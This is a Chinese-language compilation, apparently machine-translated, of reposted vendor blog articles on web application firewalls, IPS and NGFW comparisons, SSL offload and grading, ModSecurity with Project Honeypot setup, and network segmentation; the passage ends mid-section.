基于异常的检测:
根据正常交通行为的模式。此方法可以使用两种方式,自动或手动。一方面,IPS自动执行统计分析并建立比较标准。当流量距离此标准太远时,它会发出警报。另一种方法是默认情况下手动设置流量的正常行为,以便在流量再次远离此规则时发送警报。手动方式的缺点是灵活性和动态性较差,可能会发送错误警报。
蜜罐检测:
使用配置为在不损害真实系统安全性的情况下引起黑客注意的计算机。使用此诱饵,可以监控和分析攻击,以便一旦确定,就可以使用它们来建立新策略。
哪一个是我最好的选择?
经过我们的比较,很明显,即使两个解决方案都是我们网络的额外安全层,它们也可以处理不同类型的流量。 因此,与其他竞争者不同,他们大多相互补充。 尽管IPS似乎可以保护更广泛的流量类型,但有一个非常具体的流量只有WAF可以使用。 强烈建议同时使用这两种解决方案,尤其是在环境系统与Web紧密配合的情况下。
幸运的是,现在有完整的解决方案,可以为您提供两全其美的解决方案。
挑战在于选择合适的WAF硬件系统来有效地运行基于软件的安全机制。换句话说,保护企业数据中心最实用的方法是实施软硬件混合解决方案,以保护网络免受网络犯罪。
Web应用程序防火墙的制作有几个要求:
SSL加速:
SSL对于WAF来说是至关重要的,因为它是用于重载公钥加密的CPU卸载方法。为获得最佳性能,建议使用硬件加速器。
DPI:
由于WAF部署在企业服务器和用户之间,因此WAF的主要任务之一是监控流量并阻止恶意企图。这需要功能强大的硬件支持的高效DPI(深度包检测)。
高性能和高吞吐量:
由于DPI和SSL都是CPU密集型的,因此WAF部署所需的硬件架构必须提供运行软件的专用处理能力。
高可用性:
WAF以24/7为基础运行,因此,电源的高可用性对于优化WAF至关重要。
可扩展性:
由于Web应用程序服务可能随着客户群的增长而扩展,因此企业WAF必须通过硬件方式扩展,以便以最简单的方式提高性能并加速关键应用程序。
例如,Lanner的FW-8759是主流1U机架式网络安全系统,利用Intel Denlow平台(基于Intel Haswell CPU和C226 PCH)的尖端功能。该设备具有8个内置Intel GbE LAN端口和1个NIC模块插槽,可支持最高16 GbE端口的最大端口密度,非常适合UTM,防火墙,VPN,IPS和WAN优化等网络安全应用。事实上,它确实足以成为各级公司的安全保护。
总而言之,尽管存在所有威胁,但选择最佳分层保护应该会给您更多的安全性(为什么不)让您高枕无忧。
原文:https://www.lanner-america.com/blog/waf-vs-ips-whats-difference/
本文:http://pub.intelligentx.net/waf-vs-ips-whats-difference
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 180 次浏览
【网络安全】WAF vs NGFW
介绍
客户经常询问“当我已经拥有下一代防火墙(NGFW)时,为什么需要Web应用程序防火墙(WAF)?”。本博文的目的是解释两种解决方案之间的区别,重点关注Web应用程序防火墙可以提供的附加值。
什么是Web应用程序?
在解释实际差异之前,了解Web应用程序的确切含义非常重要。 Web应用程序是一种应用程序,存储在远程服务器上,并通过浏览器界面通过Internet提供。在网络的早期,网站由静态页面组成,这严重限制了与用户的交互。在1990年代,当修改Web服务器以允许与服务器端自定义脚本进行通信时,此限制被删除。这允许普通用户第一次与应用程序交互。这种交互性使组织能够构建解决方案,如电子商务,基于Web的电子邮件,网上银行,博客,网络论坛以及支持业务活动的自定义平台。所有这些Web应用程序都使用HTTP(S)作为Web浏览器和Web服务器之间连接的协议。
如今,Web应用程序变得越来越复杂,依赖于HTML5,Java,JavaScript,PHP,Ruby,Python和/或ASP.NET等语言和脚本来实现丰富的界面应用,广泛的框架和复杂的第三方库。一方面,这些Web应用程序是连接到后端数据库的重要业务驱动工具。这些数据库可以是公司数据,持卡人数据或其他敏感的业务相关信息的存储库,因此应该是高度安全的。另一方面,Web应用程序是黑客非常有趣的目标,因为它们是开放的,可以通过互联网轻松访问。从安全角度来看,这是一个真正的挑战!
什么是下一代防火墙(NGFW)?
传统防火墙仅限于包过滤,网络和端口地址转换(NAT)和VPN等功能。它根据端口,协议和IP地址做出决策。如今,以这种不灵活和不透明的方式实施安全策略已经不再实际可靠。需要一种新的方法,NGFW通过在安全策略中添加更多上下文来提供这种方法。基于上下文的系统旨在以智能方式使用位置,身份,时间等信息,以便做出更有效的安全决策。
下一代防火墙还通过添加URL过滤,防病毒/反恶意软件,入侵防御系统(IPS)等功能,将自己与传统防火墙区分开来。 NGFW不是使用几种不同的点解决方案,而是大大简化并提高了在日益复杂的计算世界中实施安全策略的有效性。
什么是Web应用程序防火墙(WAF)?
Web应用程序防火墙通过HTTP(S)保护Web服务器和托管Web应用程序免受应用程序层中的攻击,并防止网络层中的非体积攻击。 WAF旨在保护您的部分网络流量,特别是面向面向Web应用的公共互联网。 WAF还可以通过为这些弱点提供虚拟补丁来弥补潜在的不安全编码实践。 WAF具有高度可定制性,并且可根据客户Web应用程序的特定设计进行定制。大多数情况下,WAF在应用交付控制器(ADC)上串联安装。
开放Web应用程序安全项目(OWASP)排名前10位,CWE / SANS排名前25位最危险软件错误,Web应用程序安全联盟(WASC)威胁分类v2.0和交叉引用视图提供了详细记录的Web概述应用威胁景观。所有这些潜在威胁证明了对专用Web应用程序防火墙技术的需求。
F5 WAF的附加价值是多少?
Web应用程序的定制特性以及依赖于流量模式匹配的保护所产生的误报或性能损失可能成为一个真正的问题。默认情况下,NGFW或入侵防御系统(IPS)供应商会禁用大多数Web应用程序保护签名,以缓解这些问题。但是,NGFW和IPS供应商仅提供一组基本签名,并且没有配备WAF的更高级功能。
F5 Networks WAF拥有专用引擎,可通过Web协议和语言的知识执行流量解码和规范化。结合更高级的SSL / TLS解密/卸载功能,WAF提高了广泛的Web攻击特征库的有效性。
在Web攻击特征码数据库之上,F5 Networks提供URL,参数,Cookie和表单保护功能,以便对用户对Web应用程序的输入进行深入细致的控制。策略学习引擎支持的WAF安全策略的实现。此策略学习引擎侦听来自客户端的HTTP(S)请求和Web应用程序的答案。通过这种方式,可以创建URL,参数和Web攻击签名的映射,以强制执行或列入白名单。
此外,F5 WAF通过使用URL加密,网页代码注入,cookie签名和自定义错误页面等技术修改Web应用程序发送的响应来保护您的Web应用程序,以防止跨站点请求伪造。
作为最后的差异化因素,F5 WAF跟踪用户会话以检测可能破坏Web应用程序正常业务流的恶意活动,并且还具有先进的反僵尸和反DDoS检测引擎。可选地,F5 Networks WAF还可以提供高级认证服务,如单点登录,多因素身份验证(MFA)和/或Web应用程序的预身份验证。
SecureLink集成方法
SecureLink作为欧洲领先的网络安全集成商,推荐以串行方式实现F5网络WAF和Palo Alto Networks NGFW的最佳组合。我们的专家对两家供应商的产品和技术都非常熟练,并且我们拥有满意客户的良好记录。
结论
Palo Alto Networks下一代防火墙旨在安全地启用应用程序并保护您的网络免受高级网络攻击。 NGFW专注于在访问互联网和内部应用程序时保护内部客户端。 F5 Web应用程序防火墙的重点是保护内部(自定义)Web应用程序免受应用程序层内的外部威胁。
SecureLink是一个高度专业化的安全集成商,我们的最佳实践是在互联网接入街道上以串行方式实施F5 Networks WAF和Palo Alto Networks NGFW技术。这种最佳实践方法提供了两种技术中的最佳方法,F5 Networks提供SSL / TLS卸载和Web应用程序保护功能,Palo Alto Networks充当您的Web应用程序的IPS和防病毒解决方案。
我们总结一下,WAF保护Web应用程序和NGFW保护网络。依赖面向Web的应用程序的企业可以从WAF中获益匪浅。对于这些客户,在大多数情况下建议实施这两种解决方案。
原文:https://securelink.net/en-be/insights/waf-vs-ngfw/
本文:https://pub.intelligentx.net/node/655
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 117 次浏览
【网络安全】什么是NGINX Web应用防火墙?
即使您了解安全性,也很难创建安全的应用程序,尤其是在当今企业中如此常见的压力下工作时。 NGINX Web应用程序防火墙(WAF)可保护应用程序免受复杂的第7层攻击,否则可能导致系统被攻击者接管,丢失敏感数据和停机。 NGINX WAF基于广泛使用的ModSecurity开源软件。
为什么选择NGINX WAF?
实战检验
ModSecurity被超过一百万个网站使用,是应用程序安全性中最值得信赖的名称
灵活
NGINX WAF是可以在任何环境中部署的开源软件 - 裸机,公共云,私有云,混合云,虚拟机和容器
经济有效
PCI合规性只是硬件WAF成本的一小部分
Features
第7层攻击保护
检测并停止广泛的第7层攻击:
- SQL注入(SQLi),跨站点脚本(XSS)和本地文件包含(LFI),它们共同占已知第7层攻击的90%以上
- 跨站点请求伪造(CSRF),远程文件包含(RFI),远程代码执行(RCE)和HTTP协议违规
- 其他常见的攻击媒介,由您自己的自定义正则表达式规则检测
IP声誉
自动阻止来自已知恶意IP地址的流量:
- 在Project Honey Pot数据库中实时查找IP地址,并拒绝访问列入黑名单的用户
- 查询缓存最多可达24小时,以提高性能
- 建立自己的恶意IP地址蜜罐并回馈社区
审计记录
获取有关审核和可见性的详细日志:
- 有关所有事务的详细信息,包括请求,响应以及激活哪些规则的详细信息
- 用于归档和集中分析的远程系统日志
原文:https://www.nginx.com/products/nginx-waf/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 53 次浏览
【网络安全】什么是SSL卸载?
SSL是一个首字母缩略词,通常指两个加密Internet协议的传输层安全性(TLS)及其前身安全套接字层(SSL)。 SSL的目的是通过计算机网络提供安全通信,SSL加密数据现在约占所有Internet流量的三分之一。
安全套接字层(SSL)是一种常用协议,有助于确保通过Internet传输的HTTP流量的安全性。 SSL依靠公钥和私钥加密来加密客户端和服务器之间的通信,以便通过网络安全地发送消息。通过加密传输,敏感信息(例如用户的在线银行会话的登录ID,或者可能是信用卡号)受到保护并且不受潜在黑客和犯罪组织的控制。
您可以确定网站是否使用SSL,因为URL将显示“https:”而不是“http:” - 额外的“s”表示SSL正用于加密数据。
威胁可以隐藏在加密的SSL流量中
为了防止网络攻击,企业需要检查传入和传出的流量是否存在威胁。不幸的是,攻击者越来越多地转向加密以逃避检测。事实上,随着越来越多的应用程序使用加密数据,NSS Labs预测,到2019年,不检查SSL通信的组织将对75%的Web流量进行加密,为攻击者渗透防御和恶意内部人员提供了一扇门。窃取敏感数据。
目前的不安全状况
2017年全球信息安全支出将达到惊人的864亿美元,因为各组织围绕其网络周边堆放防火墙,并通过一系列产品(包括安全网关,取证工具,高级威胁防御平台等)检查传入和传出流量。
欧盟(EU)颁布了“通用数据保护条例”(GDPR)。任何与欧盟居民有业务往来的组织都必须确保他们遵守规定,以免他们面临巨额罚款。 GDPR是一套强制性法规,用于管理安全漏洞和企业对它们的响应。它将于5月25日生效,不遵守规定的组织可能面临高达2000万欧元的巨额罚款,或全球年营业额的4%,以较高者为准。了解更多关于高价GDPR安全呼吸的信息。
SSL卸载
今天的互联网用户比几年前对网络安全更加警惕;通过加密的http流量进行安全的流量交换正成为网站和应用程序的标准。虽然专用安全设备提供对网络流量的深入检查和分析,但它们很少用于高速加密SSL流量。实际上,某些安全产品根本无法解密SSL流量。 SSL卸载可减轻专用安全设备的CPU密集型加密和解密任务,从而提高应用程序性能。
加密和解密网络流量对于服务器来说是一项非常耗费CPU的任务。特别是初始会话设置需要大部分CPU。当网站迁移到2048位或更高的SSL密钥时,服务器硬件的通用CPU将受到重创。
从1024位密钥升级到2048位密钥时,CPU使用率通常会增加4-7倍。对于4096位密钥,服务器CPU必须达到典型卷(typical volumes)的限制。业界正在迅速升级到2048位密钥;最小密钥长度从1024更改为2048位。证书颁发机构(CA)不再提供密钥长度小于2048位的证书。
SSL检查
SSL检测为组织提供了强大的负载平衡,高可用性和SSL解密解决方案。使用SSL检查,组织可以:
- 分析所有网络数据,包括加密数据,以获得完整的威胁防护
- 部署最佳的内容检查解决方案,以抵御网络攻击
原文:https://www.a10networks.com/blog/ssl-offload/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 210 次浏览
【网络安全】使用Imperva WAF实现SSL实验室A +成绩
去年年初,我们都醒悟过新的现实。 HTTPS采用已达到临界点,这意味着超过一半的Web流量已加密。
加密流量的好处是显而易见的,对吧?它主要是关于通过验证Web服务器和客户端(Web浏览器)来保护传输数据,然后使用它来加密经过身份验证的各方之间的消息。然而,一些重要问题没有答案:
- 如何判断您的流量是否已充分加密?
- 您可以做些什么来使您的HTTPS配置更加紧凑?
- 并且只是使用足够的SSL?
在这篇博文中,我将讨论如何提升您的Web服务器SSL / TLS实现,为什么它很重要,以及如何利用我们的Imperva SecureSphere Web应用防火墙(WAF)13.0版本来实现所需的A +等级SSL实验室。
提升您的SSL姿势
正确部署HTTPS可能是乏味的,有时甚至是令人恐惧的,即使对于经验丰富的安全团队也是如此,但不必担心......
幸运的是,有许多组可以提供指导和工具,帮助评估SSL / TLS部署中的安全级别。例如,OWASP基金会持有并维护一个传输层保护备忘单,它提供了一些实施HTTPS的最佳实践指南。
不仅如此,最近出现了许多免费的诊断工具,可以让您对SSL Web服务器配置和性能进行分析。其中许多工具为您提供有关如何增强HTTPS配置的基本信息和建议。其他人将深入分析您的HTTPS配置,包括SSL漏洞状态报告。但毫无疑问,已成为评估SSL实施的行业标准的工具是Qualys的SSL实验室。我相信如果你自己尝试过,你可能会同意它是那里最全面和最深入的分析工具。我们来看看它是如何工作的。
SSL实验室如何进行Web服务器测试?
SSL实验室提供了他们如何在SSL服务器评级指南中对网站进行评级的方法。
简而言之,SSL实验室着眼于两个主要方面:
- 证书 - 验证它是否有效且可信
- 配置 - 检查三种类别的服务器配置:
- 协议支持 - 检查五种可用的SSL协议版本:SSL 2,SSL 3,TLS 1.0,TLS 1.1和TLS 1.2
- 密钥交换支持 - 检查关键交换参数的优势
- 密码支持 - 检查支持的密码套件,密码以服务器首选顺序显示,从最强到最弱
然后,SSL实验室将类别分数组合成总分,并将其转换为字母等级。
最后,SSL实验室检查服务器配置的其他方面,如果您有其他功能,如TLS_FALLBACK_SCSV,OCSP装订和支持HSTS,则无法通过数字评分表示并检查。请注意,例如,如果没有降级,您将无法获得所需的A +分数。
Numerical Score | Grade |
score >= 80 | A |
score >= 65 | B |
score >= 50 | C |
score >= 35 | D |
score >= 20 | E |
score < 20 | F |
表1. SSL Labs评分到字母的成绩翻译
SSL实验室 - 仅关于安全吗?
作为Imperva的产品经理,我有很多关于这个工具的客户和安全研究人员的讨论,以及我失去了重要性的重要性。随着时间的推移,我注意到的一个有趣的事情是,虽然许多人最初质疑SSL实验室进行测试的方式及其有效性,但现在该工具已成为事实上的标准。这是为什么?让我分享一下我学到的东西。
在开始时,安全管理员似乎只关注该工具及其评级,以此作为了解如何保护其SSL / TLS实施的方法,以及如何避免受到损害或易受SSL / TLS攻击,例如Heartbleed,POODLE,怪胎和其他人。从他们的角度来看,这完全取决于安全性,不受安全漏洞的影响,这可能导致直接的财务损失。但现在似乎还有更多。
组织已经开始意识到他们的网站等级和SSL / TLS实施效果已经公开,并且越来越多的用户正在使用SSL实验室来获得网站安全性的一些指示。这是一个改变游戏规则的游戏。糟糕的成绩可能会对用户眼中的网站声誉产生负面影响,最终可能导致间接损失。
试想一下,如果你发现你经常购买的一个电子商务网站的SSL实验室成绩非常低,你会怎么做?我只能假设你在订购下一个Kindle或无人机之前会让你三思而后行。
图1:组织试图避免的SSL实验室可怕的F级
使用WAF为SSL实验室评分A +成绩
现在我们已经讨论了SSL实验室,它的重要性,并了解它的工作原理,我想建议一个快捷方式来获得令人垂涎的A +等级,这就是使用Web应用程序防火墙(WAF)。
使用WAF,实现SSL Labs A +等级的方式要短得多。这样做更容易,因为它不需要对后端服务器进行任何更改,并通过为SSL配置管理提供单一管理平台来消除SSL配置的复杂性和错误。
部署WAF非常有用,特别是如果您希望:
- 提升您的应用程序安全性 - 如果您已经在SSL实验室中获得了很好的成绩,并且您希望在不降低SSL实验室等级的情况下扩展应用程序安全性
- 提升您的SSL实验室成绩 - 如果您的网络服务器得分不是最佳,每个标准WAF应该能够帮助提高您的成绩
如何使用SecureSphere WAF获取SSL实验室A +级
通过我们针对SecureSphere WAF的新版本13.0版本,使用SSL Labs实现完美的A +等级是一个简单的过程。我们使用开箱即用的配置模板完成了所有工作,该模板消除了用户的障碍。
需要注意的一点是,您必须以反向代理模式部署,透明反向代理或内核反向代理。让我们按照以下两个简单的步骤:
1)查看开箱即用的SSL设置
在主工作区中,选择“设置”>“全局对象”。在Scope Selection窗格中,选择SSL Settings并选择“SSL Labs A + RP Server Side SSL Settings”模板以查看配置并确保您可以接受。
图2:在SecureSphere WAF中,设置自定义SSL设置或使用开箱即用设置获取SSL Labs A +等级
2)将设置应用于您的应用程序
在主工作区中,选择“设置”>“站点”。 在“站点树”窗格中,选择要保护的服务。 在“反向代理”选项卡中,选择反向代理规则(KRP或TRP)中的“SSL实验室A + RP服务器端SSL设置”,然后单击“保存”按钮。
图3:在SecureSphere WAF中应用设置,您就完成了!
而已!恭喜!
如果安装了包含所有中间CA证书的有效SSL证书并且在Web服务器或SecureSphere中启用了HSTS,则默认情况下应显示A +等级。
图4:使用SecureSphere WAF的SSL实验室A +级
注意:SSL实验室会根据技术变化定期更改其评分标准和方法,因此此处提供的信息适用于此帖子的发布日期。我们不断监控和跟踪SSL实验室的变化,目的是更新我们的产品以维持A +等级。
SSL足够吗?
不会。任何安全专家都会告诉您,单凭SSL是不够的,因为它只涉及安全性的一个方面。由于SSL / TLS仅确保安全连接,因此无法保证应用程序实际上不受任何类型的攻击。从SQL注入和跨站点脚本等技术攻击开始,再到业务逻辑攻击,例如站点抓取和帐户接管。
借助Imperva SecureSphere Web应用程序防火墙,企业可以保护Web应用程序,无论它们是部署在云中还是部署在外部。这应该有助于防止违规行为,以及由此造成的风险,成本和品牌损害。
原文:https://www.imperva.com/blog/achieve-ssl-labs-a-grade-with-imperva-waf/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 72 次浏览
【网络安全】如何在NGINX和ModSecurity 3.0中使用Project Honeypot
“建立声誉需要20年,破坏它需要5分钟。 如果你考虑一下,你会以不同的方式做事。“ - 沃伦·巴菲特
为了帮助打击犯罪,联邦调查局保留了一份公开的十大通缉犯名单,其中列出了最危险的罪犯。任何看到名单上某人的人都会知道报警,这使得这些罪犯更难犯下更多罪行。
在技术领域,有一个名为Project Honeypot的类似概念。 Project Honeypot维护一个已知的恶意IP地址列表,可供公众免费使用。 ModSecurity与Project Honeypot集成,可以自动阻止Project Honeypot列表中的IP地址。此过程称为IP信誉。
在这篇博文中,我们将介绍如何为NGINX和NGINX Plus配置ModSecurity 3.0以与Project Honeypot集成。
为什么“Project Honeypot”?
Project Honeypot是一个社区驱动的IP地址在线数据库,被怀疑是垃圾邮件发送者或机器人。为每个IP地址分配0到255之间的威胁评分;数字越大,IP地址越可能是恶意的。
Project Honeypot数据库由一个志愿者网络提供支持,他们建立了“蜜罐”。在这种情况下,蜜罐是网站上的虚假页面,当机器人扫描网站时显示,但对于使用网络浏览器访问网站的普通人来说是不可见的。当扫描程序跟踪蜜罐链接并尝试与页面交互(例如,嵌入的蜜罐电子邮件地址)时,IP地址将添加到数据库中。
有关Project Honeypot如何工作的更多详细信息,请单击此处。
先决条件
- 安装NGINX或NGINX Plus。
- 使用NGINX或NGINX Plus的说明安装ModSecurity 3.0。
- 安装并启用ModSecurity核心规则集(CRS)。
- 注意:NGINX Plus的ModSecurity 3.0现在称为NGINX WAF。
1.设置你的蜜罐
要开始使用Project Honeypot,请使用Project Honeypot提供的脚本在您的站点上设置蜜罐:
- 注册一个免费的Project Honeypot帐户。
- 设置蜜罐 - Project Honeypot提供PHP,Python,ASP和其他一些语言的蜜罐脚本。
- 下载蜜罐脚本。
在这种情况下,我们使用PHP作为脚本语言。如果Project Honeypot不支持您的首选语言,那么PHP是一个不错的选择,因为使用PHP-FPM配置NGINX和NGINX Plus以运行PHP脚本非常容易。
有很多关于如何安装PHP-FPM的教程。对于Ubuntu 16.04及更高版本,您可以使用以下命令:
$ apt-get update
$ apt-get -y install php7.0-fpm
然后,您可以通过添加此服务器块来配置Project Honeypot PHP脚本:
server { server_name www.example.com; location ~ .php$ { modsecurity off; root /code; try_files $uri =404; fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass localhost:9000; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; } }
笔记:
在server_name指令中,对于www.example.com,请替换您在Project Honeypot中注册的域名。
必须在蜜罐脚本上禁用ModSecurity才能使其正常运行。
在root指令中,/ code替换放置Project Honeypot脚本的目录。
安装脚本后,在Web浏览器中访问它并单击激活链接以激活蜜罐。
2.将蜜罐链接添加到所有页面
下一步是配置NGINX或NGINX Plus以将蜜罐链接添加到所有页面。
要捕获机器人和扫描仪,请在每个页面上插入蜜罐脚本的链接。该链接对于使用网络浏览器但对机器人和扫描仪可见的普通人来说是不可见的。在这里,我们使用sub_filter指令将链接添加到每个页面的底部。
location / { proxy_set_header Host $host; proxy_pass http://my_upstream; sub_filter '</html>' '<a href="http://www.example.com/weddingobject.php"><!-- hightest --></a></html>'; }
在此示例中,我们的PHP蜜罐文件的名称是weddingobject.php。 sub_filter指令查找HTML页末标记</ html>,并在那里插入不可见的链接。
3.在核心规则集中启用IP信誉
现在我们已经设置了蜜罐,我们可以配置ModSecurity来查询所有HTTP请求上的Project Honeypot。
- 申请项目Honeypo thttp:BL access key.
- 在根据设置CRS的说明安装的文件/usr/local/owasp-modsecurity-crs-3.0.0/crs-setup.conf中,找到SecHttpBlKey块。
取消注释块中的所有行,并输入您在步骤1中获得的API密钥作为SecHttpBlKey的参数:
SecHttpBlKey my_api_key SecAction "id:900500, phase:1, nolog, pass, t:none, setvar:tx.block_search_ip=0, setvar:tx.block_suspicious_ip=1, setvar:tx.block_harvester_ip=1, setvar:tx.block_spammer_ip=1"
请注意,在上面的示例中禁用了block_search_ip,因为您不太可能想要阻止搜索引擎抓取工具。
重新加载配置以使更改生效。
$ nginx -t && nginx -s reload
此时,Project Honeypot完全启用,ModSecurity在所有HTTP请求上查询Project Honeypot。为了最小化性能影响,只将来自给定IP地址的第一个请求发送到Project Honeypot,并缓存查询结果。
4.验证它是否有效
Project Honeypot查询基于客户端源IP地址。欺骗源IP地址并不容易,因此测试功能正常的好方法是将此自定义规则添加到/etc/nginx/modsec/main.conf。它将作为请求的一部分传入的IP地址参数的值发送到Project Honeypot:
SecRule ARGS:IP "@rbl dnsbl.httpbl.org" "phase:1,id:171,t:none,deny,nolog,auditlog,msg:'RBL Match for SPAM Source'
重新加载配置以使规则生效:
$ nginx -t && nginx -s reload
然后运行以下curl命令以使用Project Honeypot的已知错误IP地址列表中的IP地址测试规则(替换此处使用的示例地址的地址,203.0.113.20,这是为文档保留的标准地址)。如果规则正常,则使用状态代码403阻止请求。
$ curl -i -s -k -X $'GET' 'http://localhost/?IP=203.0.113.20'
HTTP/1.1 403 Forbidden
Server: nginx/1.13.4
Date: Wed, 04 Oct 2017 21:29:17 GMT
Content-Type: text/html Transfer-Encoding: chunked
Connection: keep-alive
摘要
在这篇博客文章中,我们介绍了配置ModSecurity 3.0以使用Project Honeypot的步骤。 Project Honeypot是一个非常有用的工具,可以自动阻止已知的坏人。它也是免费和社区驱动的。
原文:https://www.nginx.com/blog/modsecurity-and-project-honeypot/
本文:http://pub.intelligentx.net/node/591
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 60 次浏览
【网络安全】提高安全性的网络分段最佳实践
无论您的业务规模有多大,部署来阻止威胁参与者访问服务器、工作站和数据的最有效的安全措施是硬件防火墙。硬件防火墙将确保您的数字资产得到良好的保护,但如何配置防火墙以实现最佳的网络安全?如果遵循网络分段最佳实践并设置防火墙安全区域,则可以提高安全性,并使内部网络保持隔离并免受基于web的攻击。
什么是网络分割?
顾名思义,网络分割就是将计算机分割成更小的部分,通过这样做,您可以将系统和应用程序彼此分离。如果系统之间没有交互,就不需要它们在同一个网络上。如果是这样的话,它只会让黑客在周边防御被攻破的情况下更容易获得一切。网络分割也有助于提高性能。每个子网上的主机越少,本地通信量就越少。它还可以提高监控能力,帮助It团队识别可疑行为。
网络分段安全优势
网络分割有许多好处,其中安全性是最重要的。拥有一个完全平坦和开放的网络是一个重大风险。网络分段通过将对资源的访问限制在组织内特定的个人组中来提高安全性,并使未经授权的访问更加困难。如果系统受损,攻击者或未经授权的个人只能访问同一子网上的资源。如果必须让第三方访问数据中心中的某些数据库,通过对网络进行分段,您可以轻松地限制可访问的资源,它还提供了更高的安全性,以抵御内部威胁。
网络分割最佳实践
大多数企业都有一个定义良好的网络结构,其中包括一个安全的内部网络区域和一个外部不受信任的网络区域,通常有中间安全区域。安全区域是具有类似安全要求的服务器和系统组,由一个3层网络子网组成,多个主机连接到该子网。
防火墙通过控制进出这些主机和安全区域的流量(无论是在IP、端口还是应用程序级别)提供保护。
有许多网络分段的例子,但是没有一种配置适合所有业务和所有网络,因为每个业务都有自己的需求和功能。但是,应该遵循网络分割的最佳实践。我们在下面概述了这些和防火墙DMZ最佳实践。
建议的防火墙安全区域划分
在上图中,我们使用防火墙安全区域分割来保持服务器的分隔。在我们的示例中,我们使用了一个防火墙、两个DMZ(非军事化)区域和一个内部区域。DMZ区域是一个独立的3层子网。
这些DMZ区域中的服务器可能需要面向Internet才能正常工作。例如,web服务器和电子邮件服务器需要面向Internet。由于这些服务器面向internet,因此最容易受到攻击,因此应与不需要直接访问internet的服务器分离。通过将这些服务器保持在单独的区域中,您可以将其中一个面向Internet的服务器受到损害的情况降到最低。
在上图中,允许的交通方向用红色箭头表示。如您所见,内部区域和DMZ2(包括应用程序/数据库服务器)之间允许双向通信,但内部区域和DMZ1(用于代理服务器、电子邮件和web服务器)之间只允许单向通信。代理服务器、电子邮件服务器和web服务器被放置在应用程序和数据库服务器的单独DMZ中,以获得最大的保护。
防火墙允许从Internet到DMZ1的流量。防火墙应只允许通过某些端口(80443、25等)进行通信。应关闭所有其他TCP/UDP端口。不允许从Internet到DMZ2中的服务器的通信,至少不能直接。
web服务器可能需要访问数据库服务器,虽然让这两个虚拟服务器在同一台计算机上运行似乎是一个好主意,但从安全角度来看,应该避免这样做。理想情况下,两者应分开放置在不同的DMZ中。这同样适用于前端web服务器和web应用服务器,它们应该类似地放置在不同的dmz中。DMZ1和DMZ2之间的通信毫无疑问是必要的,但应该只允许在某些端口上进行。DMZ2可以在某些特殊情况下连接到内部区域,例如通过活动目录进行备份或身份验证。
内部区域由工作站和内部服务器、不需要面向web的内部数据库、活动目录服务器和内部应用程序组成。我们建议内部网络上的用户通过位于DMZ 1中的HTTP代理服务器进行Internet访问。
请注意,内部区域与Internet隔离。不允许从internet到内部区域的直接通信。
上述配置为您的内部网络提供了重要的保护。如果DMZ1中的服务器受到破坏,您的内部网络将保持保护,因为内部区域和DMZ1之间的通信只允许单向。
通过遵循网络分段最佳实践并使用上述防火墙安全区域分段,您可以优化网络安全。为了增加安全性,我们还建议使用基于云的web过滤解决方案,如WebTitan,它可以过滤互联网,并防止最终用户访问已知承载恶意软件或违反可接受使用策略的网站。
原文:https://www.spamtitan.com/web-filtering/network-segmentation-best-practices/
本文:http://jiagoushi.pro/node/1047
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 69 次浏览
【网络安全】提高安全性的网络分段最佳实践
介绍
分割的概念并不新鲜。在古代历史上,罗马人根据被俘战士的种族和地理特征创建了战斗单位。这个想法很简单:把背景相似的战士组合在一起,这样他们就可以团结起来,最终成为更好的战斗单位。纵观历史,这一概念一直被用作创建宗教、种族、地理、性别和政治团体的基础[1]。当我们观察数字世界时,组织一直在通过逻辑或物理方法执行用户、流量或数据分割,以保护其基础设施的核心部分。
整合和集中网络基础设施一直是细分的关键驱动因素。以前被隔离的应用程序基础架构现在正在迁移到公共的共享物理和虚拟网络,这些网络需要隔离才能保持一定程度的隔离。同样,随着虚拟化、容器、智能手机、平板电脑、无线连接以及最近的物联网(Internet of Things,IoT)的引入,网络在过去几年经历了巨大的转变。组织已经通过二级技术(如VLAN、虚拟路由和转发(VRF)和虚拟防火墙)使用策略强制作为提供网络分段的流行方法。想到的一个显而易见的问题是,如果组织已经在划分其网络组件,为什么我们需要讨论这个话题?在回答这个问题之前,让我们先介绍几个数据点。
网络设计:
传统的网络架构是通过把皇冠上的宝石(数据)放在一个戒备森严的城堡(数据中心)中构建的。你会有一种舒服的感觉,你所有的关键资源都有一个强大的外围保护,如果不明确允许,任何东西都不能通过你的防御。这个设计最大的缺陷是:如果城堡里已经有未经授权的实体怎么办?如果未经授权的实体已经可以访问珠宝怎么办?如果未经授权的实体找到了把珠宝搬出你城堡的方法呢?
具有有限分段和数百个用户和应用程序的组织通常会遇到N*M问题,其中N是用户组的数量,M是关键资源的数量,如图1所示。简单地说,每个用户组都可以访问企业网络中几乎所有的应用程序。
图1:用户组到资源(N*M)的关系
如果在单个用户级别提供访问而不按一组公共特征对用户进行分组,则N*M问题会变得更糟。通过显式地允许用户组访问授权资源,使用最小权限原则有助于简化此问题。如果将每个用户组的授权资源组合在一起,则此问题的严重性将降低到N+M。请仔细查看图2中箭头的方向,该箭头说明了一种单向分段策略,允许用户组对授权资源具有适当的访问权限。
Figure 2: User Group to Resource (N+M) Relationship
数据泄露:
我们都同意,安全形势在过去几年中发生了变化。网络攻击变得越来越复杂和有针对性。如果你看看最近的数据泄露,一个突出的问题是这些网络的布局。为了满足业务需求,大多数拥有大型网络的公司忽略了安全性的大部分方面,有时会使他们的网络变得几乎平坦。此外,大多数组织的流量可见性有限,并且缺乏正确定义的分段策略。这些数据泄露表明,一旦恶意参与者侵入了您的外围防御,他们就可以在您的网络中自由漫游。作为侦察活动的一部分,他们试图确定访问关键资源和数据的方式。如果网络是平坦的,并且用户能够在只有有限安全控制(如身份验证或基于IP的访问控制列表)的情况下访问任何资源,那么攻击者几乎不需要做什么工作来利用这些漏洞。
业务目标:
组织的两个主要目标是盈利能力和生产力。在许多情况下,组织最终会扩展其网络基础设施,以满足用户和消费者的需求。这一问题通常因收购带来的无机增长而加剧,收购过程中,两个或多个网络通过虚拟隧道连接,作为整合过程的一部分。当需要快速集成时,这就成了一种创可贴,而安全性则成为一种事后考虑。
应用程序安全性:
